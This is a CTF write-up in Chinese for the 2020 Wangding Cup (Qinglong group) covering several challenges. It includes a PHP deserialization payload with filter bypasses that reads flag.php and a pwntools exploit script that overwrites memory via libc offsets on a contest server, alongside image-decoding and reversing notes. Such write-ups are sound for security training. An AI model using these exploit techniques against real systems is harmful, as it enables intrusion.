前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >网鼎杯青龙组2020部分题解

网鼎杯青龙组2020部分题解

作者头像
KevinBruce
发布2020-05-25 17:42:46
1.4K0
发布2020-05-25 17:42:46
举报
文章被收录于专栏:CTF及算法学习CTF及算法学习

2020年第二届“网鼎杯”网络安全大赛青龙组writeup

writeup由做出题的相应队友给出,我只综合了一下

0x00 签到题

操作内容

选出游戏中的每个队伍,之后输入token

输入token得到flag.php。

flag

0x01 Web1-AreUSerialz

操作内容

简单pop链构造:op=2的时候,去让read()中的file_get_contents执行。

两个bypass:

  • is_valid会判断传入的字符串是否为可打印字符.而原类修饰均为protected会生成%00`. php7对类的修饰不敏感,直接把属性修饰为public,可以正常序列化并绕过is_valid
  • __destruct()会在反序列化的时候把op置为1,且对op的判断为强类型比较,但process中对op为弱类型比较,直接令op=2即可绕过(2==“2”)

发现出不了flag。尝试将对象个数改为原类应有的属性的值(3),即可。

代码语言:javascript
复制
<?php

class FileHandler {
    public $op = 2 ;
    public $filename = "flag.php";
}
$a = new FileHandler();
echo urlencode(serialize($a));
//2变3
//?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}

flag

image-20200510171109620
image-20200510171109620

0x02 虚幻2

操作内容

文件是PNG头,修改文件后缀为png,该文件像素为12*36

#对该文件的RGB进行识别

#255 记为1 0记为0

代码语言:javascript
复制
from PIL import Image 
#import sys
#im = Image.open(sys.argv[1])  
im = Image.open('file.png')
width = im.size[0]  
height = im.size[1]  

temp = ''
#竖着识别
for w in range(width):
    for h in range(height):
        pixel = im.getpixel((w, h))
        temp += '1' if pixel[0] == 255 else '0'
        temp += '1' if pixel[1] == 255 else '0'
        temp += '1' if pixel[2] == 255 else '0'
print(temp)

运行代码得到

111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111100000001111001000000001100000001111101111111110011000010011111111101111101000001111111001001001100000101111101011111110101011000000111110101111101010001110101001001110100010101111101010001101101010101111100010101111101010001011001011101111100010101111111111111010101010000110111111111111111111111111101010110011000100111111110010011100101001111111011011011111110000010101111010101100011111001111101010111101001000000110000111111111101110010110011001100110000001111111111111111111111001110111110000111111100000000000000000001101101110101111100010110110111101001111000010111111100010101111010010001100101001011111101010101011001000110001101110001111101111010011110111010000111100001111100101001111000000010001011010001111100100100001101100001000010011101111100010110001101011110100110111001111111001000111011001000101111111111111111111111010001010000010111111111111101010001110000111111111100010101111101010001101111111111111100010101111101010001010100111111111100010101111101011111011111111111111111110101111101000001101001111111111100000101111101111111111111111111111111111101111100000001100111111111111100000001111111111111111111111111111111111111111111111111111111111111111111111111

弄成36*36的汉信码,并旋转,反色:

代码语言:javascript
复制
#incoding:utf-8
from PIL import Image

str = "111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111100101101101101101101111111110110101101111100100100101101100100100111111101101101101101101100111111111111111000111000011010010010111111010000010110111000010010010111101100010001111010010010011000111000111111111111111001111001111001001001111111011010111010111000110101101010001100110000111001001001111001111001111111111111111111110111110110101011010111100101101110111000110111011011111001001111010110101010011101111100111111111111111001011111101101101001101101101111001011111000111010001110000101101011001000111100111001111111111111111111111000000001011001010011010010001010000001001000101010000111000100011001010111111111111111111111111111111111111000010001000001101101000110111101000100110001001001110010010001110000000111111111111111111111111111111111111001011001000110111111110011111100110110111101111100001000001000100101010111111111111111111111111111111111111100111100111100100100111000011011000000110101000101101111011010110111111100100100111100111100111111111111111000111000110010010010111100011111111001000110010001110100010011111111111010010010110000111000111111111111111001101101101101101101111111011001111111111101111011001001001101001111111101101101101101101001111111"
length_str = len(str)
print (length_str)
MAX = int(len(str)**0.5) #根据01的个数生成黑白二维码的 size
print (MAX)

pic = Image.new("RGB",(MAX,MAX))

i=0
for y in range (0,MAX):
    for x in range (0,MAX):
        if(str[i] == '1'):
            pic.putpixel([x,y],(0,0,0))
        else:
            pic.putpixel([x,y],(255,255,255))
        i = i+1

pic.show()
pic.save("flag.png")

由于缺一块并不能识别,因此需要进行修补,修补比较暴力,看运气

用PS慢慢尝试吧

flag

0x03 Pwn1-Boom1

操作内容

本地不好打通,得用合适的libc版本。该题的脚本如下,执行并输入token即可得到flag。

代码语言:javascript
复制
'''
payload:
char *a, *b,*p;
int main()
{
a = "";
b = a - leak;//0x7F8FE6E5C028 - 0x7F8FE6933000
a= b + 6225992;
a[0] = 0;
a = b + 6229832;
p = 0xCD0F3 + b;
a[0] = (p)&0xFF;a[1] = (p>>8)&0xFF;a[2] = (p>>16)&0xFF;
}
'''


from pwn import *
p = remote('182.92.73.10',24573)
payload = "char *a, *b,*p;int main(){a = "";b = a - 5410856;a= b + 6225992;a[0] = 0;a = b + 6229832;p = 0xCD0F3 + b;a[0] = (p)&0xFF;a[1] = (p>>8)&0xFF;a[2] = (p>>16)&0xFF;}"
p.sendline(payload)
p.interactive()

0x04 singnal

操作内容

进入主函数发现逻辑代码,进入unk_403040可以发现是一个数组。

进入vm_operad函数发现逻辑代码。

可以发现在数组元素为1时修改数组v4,在数组元素为7时作比较,当二者不等时退出程序。

因此将以上代码拷贝并将相应变量初始化,逆向推理即可得出flag。

0x05 boom

操作内容

这个题初中数学,没啥可说的,就是解md5,解方程,三元一次方程和二次方程都好解,直接看图吧。

首页

按任意键继续得到

image-20200510145321474
image-20200510145321474

接下来给出个计算题,答案是74 68 31,并进入下一关

计算得到结果

flag

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-05-11 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 2020年第二届“网鼎杯”网络安全大赛青龙组writeup
  • 0x00 签到题
    • 操作内容
      • flag
      • 0x01 Web1-AreUSerialz
        • 操作内容
          • flag
            • 0x02 虚幻2
              • 操作内容
              • flag
              • 操作内容
          • 0x03 Pwn1-Boom1
            • 0x04 singnal
              • 操作内容
            • 0x05 boom
              • 操作内容
              • flag
          相关产品与服务
          文件存储
          文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档